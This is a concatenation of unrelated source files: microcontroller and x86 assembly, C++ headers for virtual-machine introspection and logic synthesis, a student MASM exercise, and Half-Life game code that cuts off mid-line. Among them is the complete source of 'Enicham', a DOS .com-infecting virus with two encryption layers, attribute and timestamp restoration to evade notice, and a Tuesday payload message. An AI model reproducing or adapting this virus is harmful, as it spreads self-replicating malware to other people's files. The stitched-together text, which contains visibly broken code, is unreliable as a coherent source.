#include "Platform.inc" #include "FarCalls.inc" #include "PowerManagement.inc" radix decimal AdcRam udata global enableAdcCount enableAdcCount res 1 Adc code global enableAdc global disableAdc enableAdc: fcall ensureFastClock .safelySetBankFor enableAdcCount incf enableAdcCount decfsz enableAdcCount, W return enableAdcOnlyOnTheFirstCall: .setBankFor ADCON0 bsf ADCON0, ADON bsf ADCON0, GO return disableAdc: fcall allowSlowClock .safelySetBankFor enableAdcCount decfsz enableAdcCount return .setBankFor ADCON0 bcf ADCON0, ADON return end
[bits 16] extractps eax, xmm1, 5 ; out: 66 0f 3a 17 c8 05 vextractps eax, xmm1, 5 ; out: c4 e3 79 17 c8 05 pextrb eax, xmm1, 5 ; out: 66 0f 3a 14 c8 05 vpextrb eax, xmm1, 5 ; out: c4 e3 79 14 c8 05 pextrw eax, xmm1, 5 ; out: 66 0f c5 c1 05 vpextrw eax, xmm1, 5 ; out: c5 f9 c5 c1 05 pextrd eax, xmm1, 5 ; out: 66 0f 3a 16 c8 05 vpextrd eax, xmm1, 5 ; out: c4 e3 79 16 c8 05 vpinsrd xmm1, xmm2, eax, 5 ; out: c4 e3 69 22 c8 05
/* * Copyright 2021 Assured Information Security, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #pragma once #include "PROCESS_INFORMATION_IMPL.hh" #include <introvirt/windows/exception/InvalidStructureException.hh> #include <introvirt/windows/kernel/nt/syscall/types/process_information/PROCESS_PRIORITY_CLASS_INFORMATION.hh> namespace introvirt { namespace windows { namespace nt { namespace structs { struct _PROCESS_PRIORITY_CLASS_INFORMATION { uint8_t Foreground; uint8_t PriorityClass; }; static_assert(sizeof(_PROCESS_PRIORITY_CLASS_INFORMATION) == 0x2); } // namespace structs using PROCESS_PRIORITY_CLASS_INFORMATION_IMPL_BASE = PROCESS_INFORMATION_IMPL<PROCESS_PRIORITY_CLASS_INFORMATION, structs::_PROCESS_PRIORITY_CLASS_INFORMATION>; class PROCESS_PRIORITY_CLASS_INFORMATION_IMPL final : public PROCESS_PRIORITY_CLASS_INFORMATION_IMPL_BASE { public: bool Foreground() const override { return this->data_->Foreground; } void Foreground(bool Foreground) override { this->data_->Foreground = Foreground; } // Windows uses this weird maping rather than just using the default values static constexpr int PROCESS_PRIORITY_CLASS_UNKNOWN = 0; static constexpr int PROCESS_PRIORITY_CLASS_IDLE = 1; static constexpr int PROCESS_PRIORITY_CLASS_NORMAL = 2; static constexpr int PROCESS_PRIORITY_CLASS_HIGH = 3; static constexpr int PROCESS_PRIORITY_CLASS_REALTIME = 4; static constexpr int PROCESS_PRIORITY_CLASS_BELOW_NORMAL = 5; static constexpr int PROCESS_PRIORITY_CLASS_ABOVE_NORMAL = 6; PRIORITY_CLASS PriorityClass() const override { switch (this->data_->PriorityClass) { case PROCESS_PRIORITY_CLASS_IDLE: return PRIORITY_CLASS::IDLE_PRIORITY_CLASS; case PROCESS_PRIORITY_CLASS_NORMAL: return PRIORITY_CLASS::NORMAL_PRIORITY_CLASS; case PROCESS_PRIORITY_CLASS_HIGH: return PRIORITY_CLASS::HIGH_PRIORITY_CLASS; case PROCESS_PRIORITY_CLASS_REALTIME: return PRIORITY_CLASS::REALTIME_PRIORITY_CLASS; case PROCESS_PRIORITY_CLASS_BELOW_NORMAL: return PRIORITY_CLASS::BELOW_NORMAL_PRIORITY_CLASS; case PROCESS_PRIORITY_CLASS_ABOVE_NORMAL: return PRIORITY_CLASS::ABOVE_NORMAL_PRIORITY_CLASS; } return PRIORITY_CLASS::UNKNOWN_PRIORITY_CLASS; } void PriorityClass(PRIORITY_CLASS PriorityClass) override { switch (PriorityClass) { case PRIORITY_CLASS::IDLE_PRIORITY_CLASS: this->data_->PriorityClass = PROCESS_PRIORITY_CLASS_IDLE; break; case PRIORITY_CLASS::NORMAL_PRIORITY_CLASS: this->data_->PriorityClass = PROCESS_PRIORITY_CLASS_NORMAL; break; case PRIORITY_CLASS::HIGH_PRIORITY_CLASS: this->data_->PriorityClass = PROCESS_PRIORITY_CLASS_HIGH; break; case PRIORITY_CLASS::REALTIME_PRIORITY_CLASS: this->data_->PriorityClass = PROCESS_PRIORITY_CLASS_REALTIME; break; case PRIORITY_CLASS::BELOW_NORMAL_PRIORITY_CLASS: this->data_->PriorityClass = PROCESS_PRIORITY_CLASS_BELOW_NORMAL; break; case PRIORITY_CLASS::ABOVE_NORMAL_PRIORITY_CLASS: this->data_->PriorityClass = PROCESS_PRIORITY_CLASS_ABOVE_NORMAL; break; case PRIORITY_CLASS::UNKNOWN_PRIORITY_CLASS: default: throw InvalidStructureException("Invalid priority class value"); break; } } void write(std::ostream& os, const std::string& linePrefix = "") const override; Json::Value json() const override; PROCESS_PRIORITY_CLASS_INFORMATION_IMPL(const GuestVirtualAddress& gva, uint32_t buffer_size) : PROCESS_PRIORITY_CLASS_INFORMATION_IMPL_BASE( PROCESS_INFORMATION_CLASS::ProcessPriorityClass, gva, buffer_size) {} }; } // namespace nt } // namespace windows } // namespace introvirt
; void sms_tiles_get_area(struct r_Rect8 *r, void *dst) ; ; Copy tile contents of a rectangular area in vram to memory SECTION code_clib SECTION code_arch PUBLIC asm_sms_tiles_get_area EXTERN asm_sms_cxy2saddr, asm_sms_memcpy_vram_to_mem asm_sms_tiles_get_area: ; enter : de = void *dst ; ix = struct r_Rect *r ; ; exit : de = void *dst after last byte written to memory ; ; uses : af, bc, de, hl ld l,(ix+0) ; l = rect.x ld h,(ix+2) ; h = rect.y call asm_sms_cxy2saddr ; hl = screen map address ; ix = rect * ; hl = screen map address ; de = void *dst ld c,(ix+3) ; c = rect.height ld b,0 copy_loop: push bc push hl ld c,(ix+1) sla c ; c = rect.width * 2 call asm_sms_memcpy_vram_to_mem pop hl ld c,64 add hl,bc pop bc dec c jr nz, copy_loop ret
extern m7_ippsECCPSignSM2:function extern n8_ippsECCPSignSM2:function extern y8_ippsECCPSignSM2:function extern e9_ippsECCPSignSM2:function extern l9_ippsECCPSignSM2:function extern n0_ippsECCPSignSM2:function extern k0_ippsECCPSignSM2:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsECCPSignSM2 .Larraddr_ippsECCPSignSM2: dq m7_ippsECCPSignSM2 dq n8_ippsECCPSignSM2 dq y8_ippsECCPSignSM2 dq e9_ippsECCPSignSM2 dq l9_ippsECCPSignSM2 dq n0_ippsECCPSignSM2 dq k0_ippsECCPSignSM2 segment .text global ippsECCPSignSM2:function (ippsECCPSignSM2.LEndippsECCPSignSM2 - ippsECCPSignSM2) .Lin_ippsECCPSignSM2: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsECCPSignSM2: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsECCPSignSM2] mov r11, qword [r11+rax*8] jmp r11 .LEndippsECCPSignSM2:
/* LSOracle: A learning based Oracle for Logic Synthesis * MIT License * Copyright 2019 Laboratory for Nano Integrated Systems (LNIS) * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #pragma once #include <algorithm> #include <cstdint> #include <unordered_map> #include <vector> #include <set> #include <unordered_set> #include <cassert> #include <mockturtle/mockturtle.hpp> namespace oracle { template<typename Ntk> class pattern_rec : public Ntk { public: using storage = typename Ntk::storage; using node = typename Ntk::node; using signal = typename Ntk::signal; public: pattern_rec() {} explicit pattern_rec() : Ntk(ntk) { static_assert(mockturtle::is_network_type_v<Ntk>, "Ntk is not a network type"); static_assert(mockturtle::has_set_visited_v<Ntk>, "Ntk does not implement the set_visited method"); static_assert(mockturtle::has_visited_v<Ntk>, "Ntk does not implement the visited method"); static_assert(mockturtle::has_get_node_v<Ntk>, "Ntk does not implement the get_node method"); static_assert(mockturtle::has_get_constant_v<Ntk>, "Ntk does not implement the get_constant method"); static_assert(mockturtle::has_is_constant_v<Ntk>, "Ntk does not implement the is_constant method"); static_assert(mockturtle::has_make_signal_v<Ntk>, "Ntk does not implement the make_signal method"); create_patterns(); } inline void find_xor_groups(Ntk const &ntk) { mockturtle::topo_view top{ntk}; std::vector<node> reverse_top = top.get_node_vec(); std::reverse(reverse_top.begin(), reverse_top.end()); for (int i = 0; i < xor_patterns.size(); i++) { Ntk curr_pattern = xor_patterns.at(i); int patt_idx = 0; mockturtle::topo_view patt_top{curr_pattern}; std::vector<node> patt_nodes = patt_top.get_node_vec(); std::reverse(patt_nodes.begin(), patt_nodes.end()); std::set<node> xor_nodes; for (int j = 0; j < reverse_top.size(); j++) { if (patt_idx > curr_pattern.size()) { patt_idx = 0; xor_groups.push_back(xor_nodes); xor_nodes.clear(); } if (reverse_top.at(j) == patt_nodes.at(patt_idx)) { xor_nodes.insert(reverse_top.at(j)); } else { patt_idx = 0; xor_nodes.clear(); } } } env->out() << "xors found = " << xor_groups.size() << "\n"; for (int i = 0; i < xor_groups.size(); i++) { env->out() << "XOR group " << i + 1 << " = {"; typename std::set<node>::iterator it; for (it = xor_groups.at(i).begin(); it != xor_groups.at(i).end(); ++it) { env->out() << *it << " "; } env->out() << "}\n"; } } private: void create_patterns() { Ntk xor_patt_1; auto x = xor_patt_1.create_pi(); auto y = xor_patt_1.create_pi(); auto n1 = xor_patt_1.create_and(x, xor_patt_1.create_not(y)); auto n2 = xor_patt_1.create_and(xor_patt_1.create_not(x), y); auto n3 = xor_patt_1.create_and(xor_patt_1.create_not(n1), xor_patt_1.create_not(n2)); xor_patt_1.create_po(n3); xor_patterns.push_back(xor_patt_1); } std::vector<Ntk> xor_patterns; std::vector<std::set<node>> xor_groups; }; } /* namespace oracle */
; A099585: Remove all 3s from prime(n) - 1. ; 1,2,4,2,10,4,16,2,22,28,10,4,40,14,46,52,58,20,22,70,8,26,82,88,32,100,34,106,4,112,14,130,136,46,148,50,52,2,166,172,178,20,190,64,196,22,70,74,226,76,232,238,80,250,256,262,268,10,92,280,94,292,34,310 seq $0,6093 ; a(n) = prime(n) - 1. lpb $0 dif $0,3 lpe
#include <iostream> int change_val(int *p) { *p = 3; return 0; } int main() { int number = 5; std::cout << number << std::endl; change_val(&number); std::cout << number << std::endl; }
; ------------------------------------------------------------------------- ; ; Enicham v1.3 coded by KilJaeden of the Codebreakers 1998 ; ; ------------------------------------------------------------------------- ; ; Description: `-------------------| Started: 17/06/98 | Finished: 18/06/98 ; ; `-------------------^------------------- ; ; v1.0 - runtime .com appender with one layer of encryption | Size: 543 ; ; v1.1 - restores time/date & attributes + infects readonly `---------- ; ; v1.2 - add second layer of XOR,NEG,NOT,ROR,ROL encryption ; ; v1.3 - add small payload, show our presence every tuesday ; ; ------------------------------------------------------------------------- ; ; ---------------------> This Is For Christine Moore <--------------------- ; ; ------------------------------------------------------------------------- ; ; to compile ::] tasm enicham.asm ; ; to link :::::] tlink /t enicham.obj ; ; ------------------------------------------------------------------------- ; code segment ; name our segment 'code' assume cs:code,ds:code ; assign CS and DS to code org 100h ; this be a .com file jumps ; save space jumping blank: db 0e9h,0,0 ; jump to start of code start: call delta ; push IP on to stack delta: pop bp ; pop it into BP sub bp,offset delta ; get the delta offset decr: jmp once ; jump to once (overwritten) lea si,[bp+encd] ; start of encrypted stuff mov di,si ; move si into di call encr ; call our decryption loop ; -------------------( Start Of 1st Encryption Blanket )------------------- ; ; ------------------------------------------------------------------------- ; encd: lea si,[bp+d_encd] ; start address of layer 2 mov di,si ; move it into DI mov cx,d_encr-d_encd ; # of bytes to decrypt call d_encr ; second layer decrypted ; -------------------( Start Of 2nd Encryption Blanket )------------------- ; ; ------------------------------------------------------------------------- ; d_encd: lea si,[bp+thrbyte] ; what bytes to restore mov di,100h ; where to restore them push di ; push 100h on to stack movsw ; move two bytes movsb ; move one byte lea dx,[bp+offset dta] ; where to put the DTA mov ah,1ah ; move the DTA int 21h ; it's moved now mov ah,4eh ; find first file lea dx,[bp+comfile] ; with extension .com mov cx,7 ; possible attributes find: int 21h ; find the file jc exit ; no files found, exit lea dx,[bp+offset dta+1eh] ; get the file info mov ax,4300h ; get file attributes int 21h ; get them now push cx ; push the attributes push dx ; push the file name mov ax,4301h ; set file attributes xor cx,cx ; to none at all int 21h ; set them now mov ax,3d02h ; open the file int 21h ; it is open now xchg bx,ax ; move the info mov ax,5700h ; get time / date int 21h ; we have them now push dx ; push the date push cx ; push the time mov ah,3fh ; read from file lea dx,[bp+thrbyte] ; read into here mov cx,3 ; read three bytes int 21h ; got the first three mov ax,word ptr [bp+dta+1ah] ; get file size mov cx,word ptr [bp+thrbyte+1] ; move thrbyte+1 into CX add cx,finished-start+3 ; get virus + jump size cmp ax,cx ; compare the two jz close ; if equal, close file cmp ax,1000 ; file is > then 1kb ? jb close ; to small, close it cmp ax,62000 ; file is < then 62kb ? ja close ; to big, close it up sub ax,3 ; get size of main jump mov word ptr [bp+newjump+1],ax ; write it into newjump mov ax,4200h ; scan to start of file xor cx,cx ; xor value of cx to 0 cwd ; likewize for dx int 21h ; pointing to SOF mov ah,40h ; write to file lea dx,[bp+newjump] ; write the jump mov cx,3 ; # of bytes to write int 21h ; write them now mov ax,4202h ; scan to end of file xor cx,cx ; xor value of cx to 0 cwd ; likewize for dx int 21h ; pointing to EOF lea si,[bp+start] ; load the source index lea di,[bp+buffer] ; load the desination index mov cx,finished-start ; # of bytes to move rep movsb ; load it into memory lea si,[bp+d_encd-start+buffer] ; load the source index mov cx,d_encr-d_encd ; # of bytes to encrypt mov di,si ; move SI into DI call d_encr ; encrypt 1st layer lea di,[bp+encd-start+buffer] ; load the desination index mov si,di ; move it into SI mov cx,encr-encd ; # of bytes to encrypt call encr ; encrypt 2nd layer mov ah,40h ; write to file mov cx,finished-start ; # of bytes to write lea dx,[bp+buffer] ; start of virus in mem int 21h ; write it now close: mov ax,5701h ; set time / date pop cx ; pop the time pop dx ; pop the date int 21h ; restore time/date files mov ax,4301h ; set attributes pop dx ; for this file pop cx ; with these attributes int 21h ; restore them now mov ah,3eh ; close the file int 21h ; file is closed mov ah,4fh ; find next file jmp find ; find it now exit: mov ah,2ah ; get system time int 21h ; we have it now cmp al,004h ; is it tuesday? jne endit ; nope, end this mov ah,09h ; print a message lea dx,[bp+pldmsg] ; our payload message int 21h ; print it now mov ah,00h ; wait for keypress int 16h ; anounce our presence endit: mov ah,1ah ; set DTA location mov dx,80h ; to this location int 21h ; restore DTA retn ; return control to host ; ----------------------------( The Data Area )---------------------------- ; ; ------------------------------------------------------------------------- ; pldmsg db '',10,13 db ' Infected with :: Enihcam :: written by KilJaeden of the Codebreakers 1998',10,13,'$' thrbyte db 0cdh,20h,0 ; terminates 1st gen newjump db 0e9h,0,0 ; blank jump 1st gen comfile db "*.com",0 ; extension to search for dta db 43 dup (?) ; space for DTA ; --------------------( End Of 2nd Encryption Blanket )-------------------- ; ; ------------------------------------------------------------------------- ; d_encr: lodsb ; load a byte xor al,0C4h ;------[1] neg al ;-----[2] ror al,4 ;----[3] not al ;---[4] rol al,4 ;--[5] neg al ;-[6] encryption/decryption rol al,4 ;--[5] not al ;---[4] ror al,4 ;----[3] neg al ;-----[2] xor al,0C4h ;------[1] stosb ; store the byte loop encr ; do all the bytes ret ; return from call ; --------------------( End Of 1st Encryption Blanket )-------------------- ; ; ------------------------------------------------------------------------- ; encr: lodsb ; load a byte neg al ;------[1] ror al,4 ;-----[2] not al ;----[3] neg al ;---[4] rol al,4 ;--[5] xor al,0C4h ;-[6] encryption/decryption rol al,4 ;--[5] neg al ;---[4] not al ;----[3] ror al,4 ;-----[2] neg al ;------[1] stosb ; store the byte loop encr ; do all the bytes ret ; return from call ; ------------------------------------------------------------------------- ; ; ------------------------------------------------------------------------- ; buffer: ; save our virus in mem finished: ; offset label for virus end once: lea si,[bp+new] ; load source index lea di,[bp+decr] ; load destination index movsw ; move two bytes movsb ; move one byte jmp d_encd ; jump to encrypted area new: mov cx,encr-encd ; this replaces the jump code ends ; end code segment end blank ; end / where to start ; ------------------------------------------------------------------------- ; ; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ; ; ------------------------------------------------------------------------- ;
include io.h cr equ 10 lf equ 13 .model small .Stack 200h .Data newline db cr, lf, 0 number_prompt db 'Enter Number ', 0 tow_dote db ' : ', 0 counter dw ? number_array dw 10 dup(?) .Code main proc mov ax, @Data mov ds, ax ;----------------------------------------------------------- clrscr mov cx, 10 Label1: output number_prompt output newline mov counter, cx atoi counter add counter , 0 output counter output tow_dote mov si, offset number_array mov [si], cx add si, 2 loop Label1 ;mov cx, 10 ;Label2: output number_prompt ; ;loop Label2 ;----------------------------------------------------------- mov ax,4c00h int 21h main endp end main
/*** * * Copyright (c) 1996-2001, Valve LLC. All rights reserved. * * This product contains software technology licensed from Id * Software, Inc. ("Id Technology"). Id Technology (c) 1996 Id Software, Inc. * All Rights Reserved. * * This source code contains proprietary and confidential information of * Valve LLC and its suppliers. Access to this code is restricted to * persons who have executed a written SDK license with Valve. Any access, * use or distribution of this code by or to any unlicensed person is illegal. * ****/ //========================================================= // monster template //========================================================= // UNDONE: Holster weapon? #include "extdll.h" #include "util.h" #include "cbase.h" #include "monsters.h" #include "talkmonster.h" #include "schedule.h" #include "defaultai.h" #include "scripted.h" #include "weapons.h" #include "soundent.h" //========================================================= // Monster's Anim Events Go Here //========================================================= // first flag is barney dying for scripted sequences? #define BARNEY_AE_DRAW ( 2 ) #define BARNEY_AE_SHOOT ( 3 ) #define BARNEY_AE_HOLSTER ( 4 ) #define BARNEY_BODY_GUNHOLSTERED 0 #define BARNEY_BODY_GUNDRAWN 1 #define BARNEY_BODY_GUNGONE 2 class CBarney : public CTalkMonster { public: void Spawn() override; void Precache() override; void SetYawSpeed() override; int ISoundMask() override; void BarneyFirePistol(); void AlertSound() override; int Classify () override; void HandleAnimEvent( MonsterEvent_t *pEvent ) override; void RunTask( Task_t *pTask ) override; void StartTask( Task_t *pTask ) override; int ObjectCaps() override { return CTalkMonster :: ObjectCaps() | FCAP_IMPULSE_USE; } int TakeDamage( entvars_t* pevInflictor, entvars_t* pevAttacker, float flDamage, int bitsDamageType) override; BOOL CheckRangeAttack1 ( float flDot, float flDist ) override; void DeclineFollowing() override; // Override these to set behavior Schedule_t *GetScheduleOfType ( int Type ) override; Schedule_t *GetSchedule () override; MONSTERSTATE GetIdealState () override; void DeathSound() override; void PainSound() override; void TalkInit(); void TraceAttack( entvars_t *pevAttacker, float flDamage, Vector vecDir, TraceResult *ptr, int bitsDamageType) override; void Killed( entvars_t *pevAttacker, int iGib ) override; int Save( CSave &save ) override; int Restore( CRestore &restore ) override; static TYPEDESCRIPTION m_SaveData[]; BOOL m_fGunDrawn; float m_painTime; float m_checkAttackTime; BOOL m_lastAttackCheck; // UNDONE: What is this for? It isn't used? float m_flPlayerDamage;// how much pain has the player inflicted on me? CUSTOM_SCHEDULES; }; LINK_ENTITY_TO_CLASS( monster_barney, CBarney ); TYPEDESCRIPTION CBarney::m_SaveData[] = { DEFINE_FIELD( CBarney, m_fGunDrawn, FIELD_BOOLEAN ), DEFINE_FIELD( CBarney, m_painTime, FIELD_TIME ), DEFINE_FIELD( CBarney, m_checkAttackTime, FIELD_TIME ), DEFINE_FIELD( CBarney, m_lastAttackCheck, FIELD_BOOLEAN ), DEFINE_FIELD( CBarney, m_flPlayerDamage, FIELD_FLOAT ), }; IMPLEMENT_SAVERESTORE( CBarney, CTalkMonster ); //========================================================= // AI Schedules Specific to this monster //========================================================= Task_t tlBaFollow[] = { { TASK_MOVE_TO_TARGET_RANGE,(float)128 }, // Move within 128 of target ent (client) { TASK_SET_SCHEDULE, (float)SCHED_TARGET_FACE }, }; Schedule_t slBaFollow[] = { { tlBaFollow, ARRAYSIZE ( tlBaFollow ), bits_COND_NEW_ENEMY | bits_COND_LIGHT_DAMAGE | bits_COND_HEAVY_DAMAGE | bits_COND_HEAR_SOUND | bits_COND_PROVOKED, bits_SOUND_DANGER, "Follow" }, }; //========================================================= // BarneyDraw- much better looking draw schedule for when // barney knows who he's gonna attack. //========================================================= Task_t tlBarneyEnemyDraw[] = { { TASK_STOP_MOVING, 0 }, { TASK_FACE_ENEMY, 0 }, { TASK_PLAY_SEQUENCE_FACE_ENEMY, (float) ACT_ARM }, }; Schedule_t slBarneyEnemyDraw[] = { { tlBarneyEnemyDraw, ARRAYSIZE ( tlBarneyEnemyDraw ), 0, 0, "Barney Enemy Draw" } }; Task_t tlBaFaceTarget[] = { { TASK_SET_ACTIVITY, (float)ACT_IDLE }, { TASK_FACE_TARGET, (float)0 }, { TASK_SET_ACTIVITY, (float)ACT_IDLE }, { TASK_SET_SCHEDULE, (float)SCHED_TARGET_CHASE }, }; Schedule_t slBaFaceTarget[] = { { tlBaFaceTarget, ARRAYSIZE ( tlBaFaceTarget ), bits_COND_CLIENT_PUSH | bits_COND_NEW_ENEMY | bits_COND_LIGHT_DAMAGE | bits_COND_HEAVY_DAMAGE | bits_COND_HEAR_SOUND | bits_COND_PROVOKED, bits_SOUND_DANGER, "FaceTarget" }, }; Task_t tlIdleBaStand[] = { { TASK_STOP_MOVING, 0 }, { TASK_SET_ACTIVITY, (float)ACT_IDLE }, { TASK_WAIT, (float)2 }, // repick IDLESTAND every two seconds. { TASK_TLK_HEADRESET, (float)0 }, // reset head position }; Schedule_t slIdleBaStand[] = { { tlIdleBaStand, ARRAYSIZE ( tlIdleBaStand ), bits_COND_NEW_ENEMY | bits_COND_LIGHT_DAMAGE | bits_COND_HEAVY_DAMAGE | bits_COND_HEAR_SOUND | bits_COND_SMELL | bits_COND_PROVOKED, bits_SOUND_COMBAT |// sound flags - change these, and you'll break the talking code. //bits_SOUND_PLAYER | //bits_SOUND_WORLD | bits_SOUND_DANGER | bits_SOUND_MEAT |// scents bits_SOUND_CARCASS | bits_SOUND_GARBAGE, "IdleStand" }, }; DEFINE_CUSTOM_SCHEDULES( CBarney ) { slBaFollow, slBarneyEnemyDraw, slBaFaceTarget, slIdleBaStand, }; IMPLEMENT_CUSTOM_SCHEDULES( CBarney, CTalkMonster ); void CBarney :: StartTask( Task_t *pTask ) { CTalkMonster::StartTask( pTask ); } void CBarney :: RunTask( Task_t *pTask ) { switch ( pTask->iTask ) { case TASK_RANGE_ATTACK1: if (m_hEnemy != NULL && (m_hEnemy->IsPlayer())) { pev->framerate = 1.5; } CTalkMonster::RunTask( pTask ); break; default: CTalkMonster::RunTask( pTask ); break; } } //========================================================= // ISoundMask - returns a bit mask indicating which types // of sounds this monster regards. //========================================================= int CBarney :: ISoundMask () { return bits_SOUND_WORLD | bits_SOUND_COMBAT | bits_SOUND_CARCASS | bits_SOUND_MEAT | bits_SOUND_GARBAGE | bits_SOUND_DANGER | bits_SOUND_PLAYER; } //========================================================= // Classify - indicates this monster's place in the // relationship table. //========================================================= int CBarney :: Classify () { return CLASS_PLAYER_ALLY; } //========================================================= // ALertSound - barney says "Freeze!" //========================================================= void CBarney :: AlertSound() { if ( m_hEnemy != NULL ) { if ( FOkToSpeak() ) { PlaySentence( "BA_ATTACK", RANDOM_FLOAT(2.8, 3.2), VOL_NORM, ATTN_IDLE ); } } } //========================================================= // SetYawSpeed - allows each sequence to have a different // turn rate associated with it. //========================================================= void CBarney :: SetYawSpeed () { int ys; ys = 0; switch ( m_Activity ) { case ACT_IDLE: ys = 70; break; case ACT_WALK: ys = 70; break; case ACT_RUN: ys = 90; break; default: ys = 70; break; } pev->yaw_speed = ys; } //========================================================= // CheckRangeAttack1 //========================================================= BOOL CBarney :: CheckRangeAttack1 ( float flDot, float flDist ) { if ( flDist <= 1024 && flDot >= 0.5 ) { if ( gpGlobals->time > m_checkAttackTime ) { TraceResult tr; Vector shootOrigin = pev->origin + Vector( 0, 0, 55 ); CBaseEntity *pEnemy = m_hEnemy; Vector shootTarget = ( (pEnemy->BodyTarget( shootOrigin ) - pEnemy->pev->origin) + m_vecEnemyLKP ); UTIL_TraceLine( shootOrigin, shootTarget, dont_ignore_monsters, ENT(pev), &tr ); m_checkAttackTime = gpGlobals->time + 1; if ( tr.flFraction == 1.0 || (tr.pHit != NULL && CBaseEntity::Instance(tr.pHit) == pEnemy) ) m_lastAttackCheck = TRUE; else m_lastAttackCheck = FALSE; m_checkAttackTime = gpGlobals->time + 1.5; } return m_lastAttackCheck; } return FALSE; } //========================================================= // BarneyFirePistol - shoots one round from the pistol at // the enemy barney is facing. //========================================================= void CBarney :: BarneyFirePistol () { Vector vecShootOrigin; UTIL_MakeVectors(pev->angles); vecShootOrigin = pev->origin + Vector( 0, 0, 55 ); Vector vecShootDir = ShootAtEnemy( vecShootOrigin ); Vector angDir = UTIL_VecToAngles( vecShootDir ); SetBlending( 0, angDir.x ); pev->effects = EF_MUZZLEFLASH; FireBullets(1, vecShootOrigin, vecShootDir, VECTOR_CONE_2DEGREES, 1024, BULLET_MONSTER_9MM ); int pitchShift = RANDOM_LONG( 0, 20 ); // Only shift about half the time if ( pitchShift > 10 ) pitchShift = 0; else pitchShift -= 5; EMIT_SOUND_DYN( ENT(pev), CHAN_WEAPON, "barney/ba_attack2.wav", 1, ATTN_NORM, 0, 100 + pitchShift ); CSoundEnt::InsertSound ( bits_SOUND_COMBAT, pev->origin, 384, 0.3 ); // UNDONE: Reload? m_cAmmoLoaded--;// take away a bullet! } //========================================================= // HandleAnimEvent - catches the monster-specific messages // that occur when tagged animation frames are played. // // Returns number of events handled, 0 if none. //========================================================= void CBarney :: HandleAnimEvent( MonsterEvent_t *pEvent ) { switch( pEvent->event ) { case BARNEY_AE_SHOOT: BarneyFirePistol(); break; case BARNEY_AE_DRAW: // barney's bodygroup switches here so he can pull gun from holster pev->body = BARNEY_BODY_GUNDRAWN; m_fGunDrawn = TRUE; break; case BARNEY_AE_HOLSTER: // change bodygroup to replace gun in holster pev->body = BARNEY_BODY_GUNHOLSTERED; m_fGunDrawn = FALSE; break; default: CTalkMonster::HandleAnimEvent( pEvent ); } } //========================================================= // Spawn //========================================================= void CBarney :: Spawn() { Precache( ); SET_MODEL(ENT(pev), "models/barney.mdl"); UTIL_SetSize(pev, VEC_HUMAN_HULL_MIN, VEC_HUMAN_HULL_MAX); pev->solid = SOLID_SLIDEBOX; pev->movetype = MOVETYPE_STEP; m_bloodColor = BLOOD_COLOR_RED; pev->health = gSkillData.barneyHealth; pev->view_ofs = Vector ( 0, 0, 50 );// position of the eyes relative to monster's origin. m_flFieldOfView = VIEW_FIELD_WIDE; // NOTE: we need a wide field of view so npc will notice player and say hello m_MonsterState = MONSTERSTATE_NONE; pev->body = 0; // gun in holster m_fGunDrawn = FALSE; m_afCapability = bits_CAP_HEAR | bits_CAP_TURN_HEAD | bits_CAP_DOORS_GROUP; MonsterInit(); SetUse( &CBarney::FollowerUse ); } //========================================================= // Precache - precaches all resources this monster needs //========================================================= void CBarney :: Precache() { PRECACHE_MODEL("models/barney.mdl"); PRECACHE_SOUND("barney/ba_attack1.wav" ); PRECACHE_SOUND("barney/ba_attack2.wav" ); PRECACHE_SOUND("barney/ba_pain1.wav"); PRECACHE_SOUND("barney/ba_pain2.wav"); PRECACHE_SOUND("barney/ba_pain3.wav"); PRECACHE_SOUND("barney/ba_die1.wav"); PRECACHE_SOUND("barney/ba_die2.wav"); PRECACHE_SOUND("barney/ba_die3.wav"); // every new barney must call this, otherwise // when a level is loaded, nobody will talk (time is reset to 0) TalkInit(); CTalkMonster::Precache(); } // Init talk data void CBarney :: TalkInit() { CTalkMonster::TalkInit(); // scientists speach group names (group names are in sentences.txt) m_szGrp[TLK_ANSWER] = "BA_ANSWER"; m_szGrp[TLK_QUESTION] = "BA_QUESTION"; m_szGrp[TLK_IDLE] = "BA_IDLE"; m_szGrp[TLK_STARE] = "BA_STARE"; m_szGrp[TLK_USE] = "BA_OK"; m_szGrp[TLK_UNUSE] = "BA_WAIT"; m_szGrp[TLK_STOP] = "BA_STOP"; m_szGrp[TLK_NOSHOOT] = "BA_SCARED"; m_szGrp[TLK_HELLO] = "BA_HELLO"; m_szGrp[TLK_PLHURT1] = "!BA_CUREA"; m_szGrp[TLK_PLHURT2] = "!BA_CUREB"; m_szGrp[TLK_PLHURT3] = "!BA_CUREC"; m_szGrp[TLK_PHELLO] = NULL; //"BA_PHELLO"; // UNDONE m_szGrp[TLK_PIDLE] = NULL; //"BA_PIDLE"; // UNDONE m_szGrp[TLK_PQUESTION] = "BA_PQUEST"; // UNDONE m_szGrp[TLK_SMELL] = "BA_SMELL"; m_szGrp[TLK_WOUND] = "BA_WOUND"; m_szGrp[TLK_MORTAL] = 